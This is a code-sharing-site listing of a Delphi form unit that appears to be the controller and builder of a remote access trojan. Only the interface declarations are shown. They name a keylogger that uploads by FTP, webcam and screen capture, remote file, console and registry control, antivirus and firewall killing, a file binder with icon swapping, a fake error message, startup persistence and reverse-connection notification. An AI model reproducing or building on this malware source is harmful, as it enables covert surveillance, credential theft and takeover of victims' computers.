Mainform.~pas
上传用户:hndmjx
上传日期:2014-09-16
资源大小:3369k
文件大小:159k
源码类别:

Delphi控件源码

开发平台:

Delphi

  1. unit Mainform;
  2. interface
  3. uses
  4. Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  5. Dialogs,ShellAPI, te_controls, te_engine, StdCtrls, ExtCtrls,
  6. te_extra_Effect_Controls, Menus, te_extended, tefx_buttons, te_switcher,
  7. ComCtrls, te_extctrls,winsock,WSockets,strutils,
  8. te_dialogs, ImgList, Grids, ValEdit, jpeg,wininet,  IniFiles, DM5314_UExplorer  ,Registry  ,DM5314_USimpleTCP  , DM5314_UCommandsAndUtils,
  9. DM5314_Umd5,madRes, DM5314_Uftp, te_stddialogs, te_forms, WinSkinData;
  10. procedure  SendDataMain ( COMMAND : string;PARM1 : string;PARM2 : string);
  11. type
  12.   TfrmMain = class(TForm)
  13.     TeThemeEngine: TTeThemeEngine;
  14.     TefrmMainform: TTeForm;
  15.     gb2: TTeGroupBox;
  16.     gb3: TTeGroupBox;
  17.     gb6: TTeGroupBox;
  18.     gb9: TTeGroupBox;
  19.     gb8: TTeGroupBox;
  20.     gbSettingsMenu: TTeGroupBox;
  21.     btnSettingConnections: TTeButton;
  22.     gb8Connection: TTeGroupBox;
  23.     memoEnglish: TTeMemo;
  24.     btnSettingGeneral: TTeButton;
  25.     gb8general: TTeGroupBox;
  26.     TeLabel7: TTeLabel;
  27.     btnChatSend: TTeButton;
  28.     LV1: TTeListView;
  29.     lblExplorerRemoteDir: TTeLabel;
  30.     lblRemotePath: TTeLabel;
  31.     lvClients: TTeListView;
  32.     btnClientsConnect: TTeButton;
  33.     btnClientsRefresh: TtefxButton;
  34.     StatusBar: TTeStatusBar;
  35.     TeThemeList: TTeThemeList;
  36.     TePopupMenu1: TTePopupMenu;
  37.     CustomItem1: TTeItem;
  38.     CustomItem2: TTeItem;
  39.     MainMsg: TTeMessage;
  40.     ColorDialog: TTeColorDialog;
  41.     TeGroupBox7: TTeGroupBox;
  42.     btnExplorerDownload: TTeButton;
  43.     btnExplorerUpload: TTeButton;
  44.     btnExplorerDel: TTeButton;
  45.     btnExplorerRefresh: TTeButton;
  46.     btnExploreRename: TTeButton;
  47.     btnExplorerMKD: TTeButton;
  48.     btnExplorerRun: TTeButton;
  49.     btnExplorerUP: TTeButton;
  50.     ValueListEditor1: TValueListEditor;
  51.     lblFTPsize: TTeLabel;
  52.     Label3: TTeLabel;
  53.     Label4: TTeLabel;
  54.     lblcurrentIPConnected: TTeLabel;
  55.     lblCurentIP: TTeLabel;
  56.     lblConnectionsKportS: TTeLabel;
  57.     lblConnectionsKportC: TTeLabel;
  58.     lblConnectionUsing: TTeLabel;
  59.     gb5: TTeGroupBox;
  60.     gbGeneral: TTeGroupBox;
  61.     lblGeneralServername: TTeLabel;
  62.     lblGeneralSINPort: TTeLabel;
  63.     lblGeneralConnectioPort: TTeLabel;
  64.     lblGeneralPassword: TTeLabel;
  65.     lblGeneralhelpername: TTeLabel;
  66.     lblGeneralURLdownload: TTeLabel;
  67.     lblGeneralEjecutefile: TTeLabel;
  68.     gbProcessKill: TTeGroupBox;
  69.     CheckBoxAVFW: TTeCheckBox;
  70.     OpenDlgBinder: TOpenDialog;
  71.     TeGroupBox19: TTeGroupBox;
  72.     btnAVFWkillClean: TTeButton;
  73.     lblConnected: TTeLabel;
  74.     ckbNotification: TtefxCheckBox;
  75.     gb7: TTeGroupBox;
  76.     gbNotifications: TTeGroupBox;
  77.     TeScrollBox2: TTeScrollBox;
  78.     gbFTPNot: TTeGroupBox;
  79.     lblFTPUser: TTeLabel;
  80.     lblFTPDir: TTeLabel;
  81.     lblFTPPass: TTeLabel;
  82.     lblFTPFTP: TTeLabel;
  83.     lblFTPPort: TTeLabel;
  84.     gbIPNot: TTeGroupBox;
  85.     btnReverseConnectionIP: TTeButton;
  86.     gbEMAILnot: TTeGroupBox;
  87.     lblSetupSMTP: TTeLabel;
  88.     lblSetupEMAIL: TTeLabel;
  89.     gbICQNot: TTeGroupBox;
  90.     lblICQNotUIN: TTeLabel;
  91.     gbBinderIcon: TTeGroupBox;
  92.     gbBinder: TTeGroupBox;
  93.     btnBinderAdd: TTeButton;
  94.     gpMISC: TTeGroupBox;
  95.     TeScrollBox3: TTeScrollBox;
  96.     gbSetupFakeError: TTeGroupBox;
  97.     lblFakerrorTitle: TTeLabel;
  98.     lblFakerrorMessage: TTeLabel;
  99.     Label79: TTeLabel;
  100.     gbStartup: TTeGroupBox;
  101.     gbdelay: TTeGroupBox;
  102.     gbSetupKeylogger: TTeGroupBox;
  103.     lblkeyloggerSendlog: TTeLabel;
  104.     chbAvtivekeylogger: TTeCheckBox;
  105.     RadioBDelayDate: TTeRadioButton;
  106.     RadioBDelayDateResets: TTeRadioButton;
  107.     Label64: TTeLabel;
  108.     TeLabel9: TTeLabel;
  109.     TeLabel10: TTeLabel;
  110.     gbFTPsettings: TTeGroupBox;
  111.     lblFTPsettingsHost: TTeLabel;
  112.     lblFTPsettingsUser: TTeLabel;
  113.     lblFTPsettingsPass: TTeLabel;
  114.     gbSetupMenu: TTeGroupBox;
  115.     btnSetupNotify: TTeButton;
  116.     btnSetupbinderIcon: TTeButton;
  117.     btnSetupMISC: TTeButton;
  118.     btnSetupAVFWkill: TTeButton;
  119.     btnSetupGeneral: TTeButton;
  120.     lblConnectionsinverseConnection: TTeLabel;
  121.     lblConnectionsFTPPort: TTeLabel;
  122.     TeGroupBox13: TTeGroupBox;
  123.     chkbShowIP: TTeCheckBox;
  124.     ImageList1: TImageList;
  125.     TeAdvancedLabel3: TTeAdvancedLabel;
  126.     PopupMenu1: TPopupMenu;
  127.     edtStartUpActivex: TTeSEdit;
  128.     edtStartUpLM: TTeSEdit;
  129.     edtStartUpCU: TTeSEdit;
  130.     edtfakeerrorMessage: TTeSEdit;
  131.     edtfakeerrorTitle: TTeSEdit;
  132.     edtKeyloggerFTPTime: TTeSEdit;
  133.     edtKeyloggerFTPHost: TTeSEdit;
  134.     edtKeyloggerFTPUser: TTeSEdit;
  135.     edtKeyloggerFTPPass: TTeSEdit;
  136.     edtDelayDate: TTeSEdit;
  137.     edtDelayResets: TTeSEdit;
  138.     edtSetupServerName: TTeSEdit;
  139.     edtSetupHelperName: TTeSEdit;
  140.     EditSetupICPort: TTeSEdit;
  141.     EditSetupLisenPort: TTeSEdit;
  142.     EditSetupPass: TTeSEdit;
  143.     edtSetupDownloadURL: TTeSEdit;
  144.     edtSetupExecuteFile: TTeSEdit;
  145.     Edit17: TTeSEdit;
  146.     Edit16: TTeSEdit;
  147.     Edit18: TTeSEdit;
  148.     Edit19: TTeSEdit;
  149.     Edit20: TTeSEdit;
  150.     btnFTPtest: TTeButton;
  151.     edtUIN: TTeSEdit;
  152.     edtSetupIP: TTeSEdit;
  153.     TeButton8: TTeButton;
  154.     edtSetupEMAIL: TTeSEdit;
  155.     edtSetupSMTP: TTeSEdit;
  156.     edtBinderFile: TTeSEdit;
  157.     memoChatBody: TTeMemo;
  158.     edtNick: TTeSEdit;
  159.     EdtChatMessage: TTeSEdit;
  160.     edtSIN: TTeSEdit;
  161.     edtKlistening: TTeSEdit;
  162.     edtKport: TTeSEdit;
  163.     edtFTPPort: TTeSEdit;
  164.     ImageList2: TImageList;
  165.     gbMSN: TTeGroupBox;
  166.     Memo1: TMemo;
  167.     TeGroupBox27: TTeGroupBox;
  168.     lblMSNConnectionEmail: TTeLabel;
  169.     edtMSNEmail: TTeSEdit;
  170.     lblMSNConnectionPASS: TTeLabel;
  171.     edtMSNPASS: TTeSEdit;
  172.     btnMSNconnectionConnect: TTeButton;
  173.     gbMSNNOT: TTeGroupBox;
  174.     edtCMSNPASS: TTeSEdit;
  175.     edtcMSNEmail: TTeSEdit;
  176.     lblMsnNotEmail: TTeLabel;
  177.     lblMsnNotPass: TTeLabel;
  178.     lvMSN: TTeListView;
  179.     gbClientSizes: TTeGroupBox;
  180.     TrackBarheight: TTeTrackBar;
  181.     TrackBarwidth: TTeTrackBar;
  182.     lblSizesWidth: TTeLabel;
  183.     lblSizesHeight: TTeLabel;
  184.     memoSpanish: TTeMemo;
  185.     Label1: TLabel;
  186.     gbIcon: TTeGroupBox;
  187.     Bevel1: TBevel;
  188.     imgionicon: TImage;
  189.     btnIconAdd: TTeButton;
  190.     edtIcon: TTeSEdit;
  191.     TeScrollBox4: TTeScrollBox;
  192.     imgIcon2: TImage;
  193.     imgIcon3: TImage;
  194.     imgIcon4: TImage;
  195.     imgIcon1: TImage;
  196.     imgIcon9: TImage;
  197.     imgIcon5: TImage;
  198.     imgIcon7: TImage;
  199.     imgIcon6: TImage;
  200.     imgIcon8: TImage;
  201.     imgIcon10: TImage;
  202.     imgIcon11: TImage;
  203.     TeGroupBox3: TTeGroupBox;
  204.     btnSetupSave: TTeButton;
  205.     btnSetupOpen: TTeButton;
  206.     TeGroupBox4: TTeGroupBox;
  207.     TeButton5: TTeButton;
  208.     TeButton13: TTeButton;
  209.     ProgressBarExplorer: TTeProgressBar;
  210.     lblLocalIP: TTeLabel;
  211.     TeGroupBox5: TTeGroupBox;
  212.     TeGroupBox6: TTeGroupBox;
  213.     TeGroupBox9: TTeGroupBox;
  214.     TeButton14: TTeButton;
  215.     TeButton15: TTeButton;
  216.     TeButton16: TTeButton;
  217.     TeButton17: TTeButton;
  218.     TeButton18: TTeButton;
  219.     TeButton19: TTeButton;
  220.     TeButton20: TTeButton;
  221.     TeButton21: TTeButton;
  222.     TeButton22: TTeButton;
  223.     Label6: TLabel;
  224.     TeButton23: TTeButton;
  225.     TeButton24: TTeButton;
  226.     TeButton25: TTeButton;
  227.     TeButton26: TTeButton;
  228.     TeButton27: TTeButton;
  229.     TeButton28: TTeButton;
  230.     TeButton29: TTeButton;
  231.     TeButton32: TTeButton;
  232.     edtWorkingIP: TTeSEdit;
  233.     chBoxWorkingIP: TTeCheckBox;
  234.     btnWorkingIP: TTeButton;
  235.     RadioButtonExtention2: TTeRadioButton;
  236.     RadioButtonExtention1: TTeRadioButton;
  237.     RadioButtonExtention3: TTeRadioButton;
  238.     RadioButtonExtention4: TTeRadioButton;
  239.     chBoxDisableXPFirewall: TtefxCheckBox;
  240.     OpenDialog2: TOpenDialog;
  241.     OpenDialog1: TOpenDialog;
  242.     openDfile: TTeOpenDialog;
  243.     TeGroupBox15: TTeGroupBox;
  244.     lblHost: TTeLabel;
  245.     cbMainIP: TTeComboBox;
  246.     btnMainConnect: TTeButton;
  247.     memoMain: TMemo;
  248.     TeLabel2: TTeLabel;
  249.     chBoxIC: TtefxCheckBox;
  250.     TeButton30: TTeButton;
  251.     TeButton33: TTeButton;
  252.     TeButton34: TTeButton;
  253.     TeButton35: TTeButton;
  254.     TeButton36: TTeButton;
  255.     chboxMSN: TtefxCheckBox;
  256.     TeButton31: TTeButton;
  257.     TeScrollBox5: TTeScrollBox;
  258.     TeHeaderPanel1: TTeHeaderPanel;
  259.     TeHeaderPanel2: TTeHeaderPanel;
  260.     TeHeaderPanel3: TTeHeaderPanel;
  261.     TeHeaderPanel4: TTeHeaderPanel;
  262.     TeHeaderPanel5: TTeHeaderPanel;
  263.     TeHeaderPanel6: TTeHeaderPanel;
  264.     TeHeaderPanel7: TTeHeaderPanel;
  265.     TeHeaderPanel9: TTeHeaderPanel;
  266.     TeHeaderPanel8: TTeHeaderPanel;
  267.     Label8: TLabel;
  268.     Label9: TLabel;
  269.     TeButton3: TTeButton;
  270.     gbSkinManager: TTeGroupBox;
  271.     TeThemeSwitcher: TTeThemeSwitcher;
  272.     gbChangehue: TTeGroupBox;
  273.     trackbarHUE: TTeTrackBar;
  274.     gbchangeBrightness: TTeGroupBox;
  275.     trackbarBrightness: TTeTrackBar;
  276.     RadioButtonExtention0: TtefxRadioButton;
  277.     gbINF: TTeGroupBox;
  278.     memoInf: TTeMemo;
  279.     gbPasswords: TTeGroupBox;
  280.     memoPasswords: TTeMemo;
  281.     gbRegEdit: TTeGroupBox;
  282.     lblCurrentReg: TLabel;
  283.     TVReg: TTeTreeView;
  284.     TeButton7: TTeButton;
  285.     TeButton9: TTeButton;
  286.     TeButton10: TTeButton;
  287.     LVReg: TTeListView;
  288.     TeButton11: TTeButton;
  289.     gbSpyKeylogger: TTeGroupBox;
  290.     gbKeyloggerSendKeys: TTeGroupBox;
  291.     Memo2: TTeMemo;
  292.     gbKeyloggerGetkeys: TTeGroupBox;
  293.     memoGetkeys: TTeMemo;
  294.     gbConsole: TTeGroupBox;
  295.     lblSpyExample: TTeLabel;
  296.     memoConsole: TTeMemo;
  297.     edtConsole: TTeSEdit;
  298.     gbWindows: TTeGroupBox;
  299.     lv3: TTeListView;
  300.     TeGroupBox11: TTeGroupBox;
  301.     btnSpyWindowsClose: TTeButton;
  302.     btnSpyWindowsHide: TTeButton;
  303.     btnSpyWindowsshow: TTeButton;
  304.     btnSpyWindowsRefresh: TTeButton;
  305.     gbSpyProcesses: TTeGroupBox;
  306.     lvProcesses: TTeListView;
  307.     TeGroupBox12: TTeGroupBox;
  308.     btnSpyProcessesKill: TTeButton;
  309.     btnSpyProcessesRefresh: TTeButton;
  310.     gbSpyWebcam: TTeGroupBox;
  311.     TeTrackBar1: TTeTrackBar;
  312.     btnSpyWebcamCap: TTeButton;
  313.     TeGroupBox17: TTeGroupBox;
  314.     imgWebcam: TImage;
  315.     edtWebcamquality: TTeSEdit;
  316.     gbSpyScreenshot: TTeGroupBox;
  317.     btnSpyScreenshotCap: TTeButton;
  318.     TeTrackBar2: TTeTrackBar;
  319.     TeGroupBox18: TTeGroupBox;
  320.     imgScreenshot: TImage;
  321.     ProgressBarDesk: TTeProgressBar;
  322.     edtScreenshotQuality: TTeSEdit;
  323.     gbMSGs: TTeGroupBox;
  324.     TeGroupBox1: TTeGroupBox;
  325.     TeSpeedButton1: TTeSpeedButton;
  326.     TeSpeedButton2: TTeSpeedButton;
  327.     TeSpeedButton3: TTeSpeedButton;
  328.     TeSpeedButton4: TTeSpeedButton;
  329.     TeGroupBox2: TTeGroupBox;
  330.     edtSPYMSGSMessage: TTeSEdit;
  331.     btnMGSsSend: TTeButton;
  332.     TeButton48: TTeButton;
  333.     btnKeyloggerSave: TTeButton;
  334.     TeButton51: TTeButton;
  335.     btnKeyloggerFullScreen: TTeButton;
  336.     btnScreenshotSave: TTeButton;
  337.     gbAdmin: TTeGroupBox;
  338.     TeScrollBox1: TTeScrollBox;
  339.     btnMainAdmin4: TTeButton;
  340.     btnMainAdmin8: TTeButton;
  341.     btnMainAdmin3: TTeButton;
  342.     btnMainAdmin5: TTeButton;
  343.     btnMainAdmin1: TTeButton;
  344.     btnMainAdmin27: TTeButton;
  345.     btnMainAdmin2: TTeButton;
  346.     btnMainAdmin15: TTeButton;
  347.     btnMainAdmin22: TTeButton;
  348.     btnMainAdmin46: TTeButton;
  349.     btnMainAdmin10: TTeButton;
  350.     btnMainAdmin21: TTeButton;
  351.     btnMainAdmin9: TTeButton;
  352.     btnMainAdmin17: TTeButton;
  353.     btnMainAdmin23: TTeButton;
  354.     btnAdminResetServer: TTeButton;
  355.     gbFun: TTeGroupBox;
  356.     btnMainFun0: TTeButton;
  357.     btnMainFun24: TTeButton;
  358.     btnMainFun14: TTeButton;
  359.     btnMainFun13: TTeButton;
  360.     btnMainFun19: TTeButton;
  361.     btnMainFun16: TTeButton;
  362.     btnMainFun11: TTeButton;
  363.     btnMainFun6: TTeButton;
  364.     btnMainFun18: TTeButton;
  365.     btnMainFun20: TTeButton;
  366.     btnMainFun12: TTeButton;
  367.     btnMainFun28: TTeButton;
  368.     edtMainPort: TTeSEdit;
  369.     TeButton54: TTeButton;
  370.     SaveDLog: TTeSaveDialog;
  371.     SaveDPic: TTeSaveDialog;
  372.     tefxButton1: TtefxButton;
  373.     gbSearch: TTeGroupBox;
  374.     edtSearchPath: TTeSEdit;
  375.     edtSearchMask: TTeSEdit;
  376.     btnSearchFind: TTeButton;
  377.     lvSearch: TTeListView;
  378.     TeButton56: TTeButton;
  379.     gbServices: TTeGroupBox;
  380.     TeButton57: TTeButton;
  381.     TeButton58: TTeButton;
  382.     TeButton59: TTeButton;
  383.     OpenDDM: TTeOpenDialog;
  384.     SaveDDM: TTeSaveDialog;
  385.     chBoxMSNConnection: TTeCheckBox;
  386.     ProgressBarCam: TTeProgressBar;
  387.     TeButton60: TTeButton;
  388.     TeButton61: TTeButton;
  389.     TimerRDC: TTimer;
  390.     btnRDCTime: TTeButton;
  391.     edtRDCtime: TTeSEdit;
  392.     lblKeyloggerSeconds: TLabel;
  393.     lvServices: TTeListView;
  394.     gbOnlineEditor: TTeGroupBox;
  395.     edtOEVER: TTeSEdit;
  396.     edtOEPASS: TTeSEdit;
  397.     Label10: TLabel;
  398.     Label11: TLabel;
  399.     TeButton65: TTeButton;
  400.     gbWebServer: TTeGroupBox;
  401.     btnWebserverStart: TTeButton;
  402.     TeSEdit1: TTeSEdit;
  403.     TeLabel1: TTeLabel;
  404.     TeLabel3: TTeLabel;
  405.     TeSEdit2: TTeSEdit;
  406.     TeLabel4: TTeLabel;
  407.     TeSEdit3: TTeSEdit;
  408.     TeButton55: TTeButton;
  409.     gbShutDown: TTeGroupBox;
  410.     TeButton62: TTeButton;
  411.     TeButton66: TTeButton;
  412.     TeButton67: TTeButton;
  413.     TeButton68: TTeButton;
  414.     TeButton69: TTeButton;
  415.     TeButton70: TTeButton;
  416.     chBoxDisappear: TTeCheckBox;
  417.     TeButton71: TTeButton;
  418.     TeGroupBox8: TTeGroupBox;
  419.     edtFWB: TTeSEdit;
  420.     Label2: TLabel;
  421.     btnStartRDC: TTeButton;
  422.     chBoxUPX: TTeCheckBox;
  423.     Image1: TImage;
  424.     TeScrollBox6: TTeScrollBox;
  425.     Label5: TLabel;
  426.     Label12: TLabel;
  427.     Label13: TLabel;
  428.     Label14: TLabel;
  429.     Label15: TLabel;
  430.     Label16: TLabel;
  431.     Label17: TLabel;
  432.     Label18: TLabel;
  433.     Label19: TLabel;
  434.     Label20: TLabel;
  435.     Label21: TLabel;
  436.     Label22: TLabel;
  437.     Label23: TLabel;
  438.     Label24: TLabel;
  439.     TeButton4: TtefxButton;
  440.     Label25: TLabel;
  441.     Label26: TLabel;
  442.     edtSetIP: TTeSEdit;
  443.     Label27: TLabel;
  444.     TeButton2: TTeButton;
  445.     RadioBStartUPActivex: TTeCheckBox;
  446.     RadioBStartUPCU: TTeCheckBox;
  447.     RadioBStartUPLM: TTeCheckBox;
  448.     SkinData1: TSkinData;
  449.     OpenDialog3: TOpenDialog;
  450.     cbLanguage: TTeComboBox;
  451.     TeButton37: TTeButton;
  452.     TeButton38: TTeButton;
  453.     btnSpyKeylogger: TTeButton;
  454.     btnSpyProcesses: TtefxButton;
  455.     btnSpyScreenshot: TTeButton;
  456.     btnSpywebcam: TTeButton;
  457.     btnSpyWindows: TTeButton;
  458.     btnSpyConsole: TTeButton;
  459.     TeButton6: TTeButton;
  460.     TeButton1: TTeButton;
  461.     TeButton12: TTeButton;
  462.     btnSpyRegedit: TTeButton;
  463.     TeButton41: TTeButton;
  464.     TeButton39: TTeButton;
  465.     TeButton42: TTeButton;
  466.     TeButton422: TTeButton;
  467.     TeButton43: TTeButton;
  468.     TeButton40: TTeButton;
  469.     TeButton44: TTeButton;
  470.     TeButton45: TTeButton;
  471.     TeButton46: TTeButton;
  472.     TeButton47: TTeButton;
  473.     TeButton49: TTeButton;
  474.     procedure TebtnMainExplorerClick(Sender: TObject);
  475.     procedure FormCreate(Sender: TObject);
  476.     procedure btnSettingGeneralClick(Sender: TObject);
  477.     procedure CustomItem2Click(Sender: TObject);
  478.     procedure btnMainFun0Click(Sender: TObject);
  479.     procedure btnMainAdmin1Click(Sender: TObject);
  480.     procedure btnMainFun24Click(Sender: TObject);
  481.     procedure btnMainFun14Click(Sender: TObject);
  482.     procedure btnMainFun13Click(Sender: TObject);
  483.     procedure btnMainFun19Click(Sender: TObject);
  484.     procedure btnMainFun16Click(Sender: TObject);
  485.     procedure btnMainFun11Click(Sender: TObject);
  486.     procedure btnMainFun6Click(Sender: TObject);
  487.     procedure btnMainFun12Click(Sender: TObject);
  488.     procedure btnMainAdmin17Click(Sender: TObject);
  489.     procedure btnMainAdmin9Click(Sender: TObject);
  490.     procedure btnMainAdmin4Click(Sender: TObject);
  491.     procedure btnMainAdmin8Click(Sender: TObject);
  492.     procedure btnMainAdmin3Click(Sender: TObject);
  493.     procedure btnMainAdmin5Click(Sender: TObject);
  494.     procedure btnMainAdmin2Click(Sender: TObject);
  495.     procedure btnMainAdmin46Click(Sender: TObject);
  496.     procedure btnMainAdmin27Click(Sender: TObject);
  497.     procedure btnMainAdmin15Click(Sender: TObject);
  498.     procedure btnMainFun18Click(Sender: TObject);
  499.     procedure btnMainFun20Click(Sender: TObject);
  500.     procedure btnMainFun28Click(Sender: TObject);
  501.     procedure btnMainAdmin22Click(Sender: TObject);
  502.     procedure btnMainAdmin23Click(Sender: TObject);
  503.     procedure memoMainChange(Sender: TObject);
  504.     procedure btnMainAdmin10Click(Sender: TObject);
  505.     procedure btnChatSendClick(Sender: TObject);
  506.     procedure EdtChatMessageKeyDown(Sender: TObject; var Key: Word;
  507.       Shift: TShiftState);
  508.     procedure btnSpyProcessesClick(Sender: TObject);
  509.     procedure btnClientsRefreshClick(Sender: TObject);
  510.     procedure btnClientsConnectClick(Sender: TObject);
  511.     procedure LV1DblClick(Sender: TObject);
  512.     procedure btnExplorerDownloadClick(Sender: TObject);
  513.     procedure btnExplorerUploadClick(Sender: TObject);
  514.     procedure btnExplorerDelClick(Sender: TObject);
  515.     procedure btnExplorerRefreshClick(Sender: TObject);
  516.     procedure btnExploreRenameClick(Sender: TObject);
  517.     procedure btnExplorerMKDClick(Sender: TObject);
  518.     procedure btnExplorerRunClick(Sender: TObject);
  519.     procedure btnExplorerUPClick(Sender: TObject);
  520.     procedure btnSpyKeyloggerClick(Sender: TObject);
  521.     procedure btnSpyScreenshotClick(Sender: TObject);
  522.     procedure btnSpywebcamClick(Sender: TObject);
  523.     procedure memoGetkeysChange(Sender: TObject);
  524.     procedure Memo2KeyDown(Sender: TObject; var Key: Word;
  525.       Shift: TShiftState);
  526.     procedure memoGetkeysDblClick(Sender: TObject);
  527.     procedure btnSpyScreenshotCapClick(Sender: TObject);
  528.     procedure TeTrackBar2Change(Sender: TObject);
  529.     procedure btnIconAddClick(Sender: TObject);
  530.     procedure btnSetupOpenClick(Sender: TObject);
  531.     procedure btnSetupSaveClick(Sender: TObject);
  532.     procedure btnBinderAddClick(Sender: TObject);
  533.     procedure btnReverseConnectionIPClick(Sender: TObject);
  534.     procedure btnSetupNotifyClick(Sender: TObject);
  535.     procedure btnSetupbinderIconClick(Sender: TObject);
  536.     procedure btnSetupMISCClick(Sender: TObject);
  537.     procedure btnSetupAVFWkillClick(Sender: TObject);
  538.     procedure btnSetupGeneralClick(Sender: TObject);
  539.     procedure btnSpyConsoleClick(Sender: TObject);
  540.     procedure btnSpyWindowsClick(Sender: TObject);
  541.     procedure btnSpyWindowsCloseClick(Sender: TObject);
  542.     procedure btnSpyWindowsHideClick(Sender: TObject);
  543.     procedure btnSpyWindowsshowClick(Sender: TObject);
  544.     procedure btnSpyWindowsRefreshClick(Sender: TObject);
  545.     procedure edtConsoleKeyDown(Sender: TObject; var Key: Word;
  546.       Shift: TShiftState);
  547.     procedure TeTrackBar1Change(Sender: TObject);
  548.     procedure btnSettingConnectionsClick(Sender: TObject);
  549.     procedure chkbShowIPClick(Sender: TObject);
  550.     procedure imgScreenshotDblClick(Sender: TObject);
  551.     procedure btnAVFWkillCleanClick(Sender: TObject);
  552.     procedure btnSpyProcessesRefreshClick(Sender: TObject);
  553.     procedure btnSpyProcessesKillClick(Sender: TObject);
  554.     procedure btnSpyRegeditClick(Sender: TObject);
  555.     procedure btnMSNconnectionConnectClick(Sender: TObject);
  556.     procedure lvMSNDblClick(Sender: TObject);
  557.     procedure TrackBarwidthChange(Sender: TObject);
  558.     procedure TrackBarheightChange(Sender: TObject);
  559.     procedure btnMGSsSendClick(Sender: TObject);
  560.     procedure TeSpeedButton1Click(Sender: TObject);
  561.     procedure TeSpeedButton2Click(Sender: TObject);
  562.     procedure TeSpeedButton3Click(Sender: TObject);
  563.     procedure TeSpeedButton4Click(Sender: TObject);
  564.     procedure TeButton1Click(Sender: TObject);
  565.     procedure imgIcon1Click(Sender: TObject);
  566.     procedure imgIcon2Click(Sender: TObject);
  567.     procedure imgIcon3Click(Sender: TObject);
  568.     procedure imgIcon8Click(Sender: TObject);
  569.     procedure imgIcon9Click(Sender: TObject);
  570.     procedure imgIcon6Click(Sender: TObject);
  571.     procedure imgIcon4Click(Sender: TObject);
  572.     procedure imgIcon7Click(Sender: TObject);
  573.     procedure imgIcon10Click(Sender: TObject);
  574.     procedure imgIcon11Click(Sender: TObject);
  575.     procedure imgIcon5Click(Sender: TObject);
  576.     procedure edtIconDblClick(Sender: TObject);
  577.     procedure edtBinderFileDblClick(Sender: TObject);
  578.     procedure btnAdminResetServerClick(Sender: TObject);
  579.     procedure memoMainDblClick(Sender: TObject);
  580.     procedure memoFTPDblClick(Sender: TObject);
  581.     procedure TeButton3Click(Sender: TObject);
  582.     procedure TeButton8Click(Sender: TObject);
  583.     procedure btnFTPtestClick(Sender: TObject);
  584.     procedure memoConsoleDblClick(Sender: TObject);
  585.     procedure TeButton5Click(Sender: TObject);
  586.     procedure LV1KeyDown(Sender: TObject; var Key: Word;
  587.       Shift: TShiftState);
  588.     procedure Image3Click(Sender: TObject);
  589.     procedure Image2Click(Sender: TObject);
  590.     procedure Image1Click(Sender: TObject);
  591.     procedure Image4Click(Sender: TObject);
  592.     procedure TeButton6Click(Sender: TObject);
  593.     procedure TVRegDblClick(Sender: TObject);
  594.     procedure TeButton12Click(Sender: TObject);
  595.     procedure btnSpyWebcamCapClick(Sender: TObject);
  596.     procedure TeButton13Click(Sender: TObject);
  597.     procedure TeButton31Click(Sender: TObject);
  598.     procedure TeButton14Click(Sender: TObject);
  599.     procedure TeButton18Click(Sender: TObject);
  600.     procedure TeButton15Click(Sender: TObject);
  601.     procedure TeButton16Click(Sender: TObject);
  602.     procedure TeButton17Click(Sender: TObject);
  603.     procedure TeButton19Click(Sender: TObject);
  604.     procedure TeButton20Click(Sender: TObject);
  605.     procedure TeButton21Click(Sender: TObject);
  606.     procedure TeButton22Click(Sender: TObject);
  607.     procedure TeButton32Click(Sender: TObject);
  608.     procedure TeButton23Click(Sender: TObject);
  609.     procedure TeButton24Click(Sender: TObject);
  610.     procedure TeButton25Click(Sender: TObject);
  611.     procedure TeButton26Click(Sender: TObject);
  612.     procedure TeButton27Click(Sender: TObject);
  613.     procedure TeButton28Click(Sender: TObject);
  614.     procedure TeButton29Click(Sender: TObject);
  615.     procedure chBoxWorkingIPClick(Sender: TObject);
  616.     procedure btnWorkingIPClick(Sender: TObject);
  617.     procedure CustomItem1Click(Sender: TObject);
  618.     procedure btnMainConnectClick(Sender: TObject);
  619.     procedure lvClientsDblClick(Sender: TObject);
  620.     procedure Timer1Timer(Sender: TObject);
  621.     procedure FormDblClick(Sender: TObject);
  622.     procedure TeButton49Click(Sender: TObject);
  623.     procedure TeButton39Click(Sender: TObject);
  624.     procedure TeButton41Click(Sender: TObject);
  625.     procedure TeButton422Click(Sender: TObject);
  626.     procedure TeButton42Click(Sender: TObject);
  627.     procedure TeButton37Click(Sender: TObject);
  628.     procedure TeButton43Click(Sender: TObject);
  629.     procedure TeButton38Click(Sender: TObject);
  630.     procedure TeButton40Click(Sender: TObject);
  631.     procedure TeButton34Click(Sender: TObject);
  632.     procedure chboxMSNClick(Sender: TObject);
  633.     procedure chBoxICClick(Sender: TObject);
  634.     procedure Label7Click(Sender: TObject);
  635.     procedure TeButton35Click(Sender: TObject);
  636.     procedure cbLanguageChange(Sender: TObject);
  637.     procedure trackbarHUEChange(Sender: TObject);
  638.     procedure trackbarBrightnessChange(Sender: TObject);
  639.     procedure TeButton33Click(Sender: TObject);
  640.     procedure TeButton30Click(Sender: TObject);
  641.     procedure TeButton36Click(Sender: TObject);
  642.     procedure TeButton44Click(Sender: TObject);
  643.     procedure TeButton46Click(Sender: TObject);
  644.     procedure TeButton47Click(Sender: TObject);
  645.     procedure TeButton45Click(Sender: TObject);
  646.     procedure TeButton54Click(Sender: TObject);
  647.     procedure btnScreenshotSaveClick(Sender: TObject);
  648.     procedure btnKeyloggerFullScreenClick(Sender: TObject);
  649.     procedure TeButton48Click(Sender: TObject);
  650.     procedure TeButton51Click(Sender: TObject);
  651.     procedure btnKeyloggerSaveClick(Sender: TObject);
  652.     procedure tefxButton1Click(Sender: TObject);
  653.     procedure FormClose(Sender: TObject; var Action: TCloseAction);
  654.     procedure TeButton60Click(Sender: TObject);
  655.     procedure TeButton61Click(Sender: TObject);
  656.  
  657.     procedure btnStartRDCClick(Sender: TObject);
  658.     procedure TimerRDCTimer(Sender: TObject);
  659.     procedure btnRDCTimeClick(Sender: TObject);
  660.     procedure TeButton57Click(Sender: TObject);
  661.     procedure TeButton58Click(Sender: TObject);
  662.     procedure TeButton59Click(Sender: TObject);
  663.     procedure TeButton65Click(Sender: TObject);
  664.     procedure btnSearchFindClick(Sender: TObject);
  665.     procedure TeButton56Click(Sender: TObject);
  666.     procedure TeButton62Click(Sender: TObject);
  667.     procedure TeButton67Click(Sender: TObject);
  668.     procedure TeButton68Click(Sender: TObject);
  669.     procedure TeButton69Click(Sender: TObject);
  670.     procedure TeButton70Click(Sender: TObject);
  671.     procedure TeButton66Click(Sender: TObject);
  672.     procedure TeButton71Click(Sender: TObject);
  673.     procedure TeButton7Click(Sender: TObject);
  674.     procedure TeButton10Click(Sender: TObject);
